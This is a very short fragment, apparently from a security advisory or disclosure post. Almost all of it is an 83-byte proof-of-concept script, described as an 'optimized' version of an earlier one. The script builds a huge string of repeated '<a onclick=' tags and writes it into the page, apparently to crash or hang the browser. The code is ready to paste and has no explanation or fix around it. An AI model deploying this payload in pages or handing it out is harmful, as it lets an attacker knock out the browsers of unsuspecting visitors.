PoC can be optimized: ------------[ PoC code ]-------------- <script> for(s='<a onclick=',i=0;i<8||(document.write(s+'>'));i++)s+=s; </script> ------------[ 83 bytes ]--------------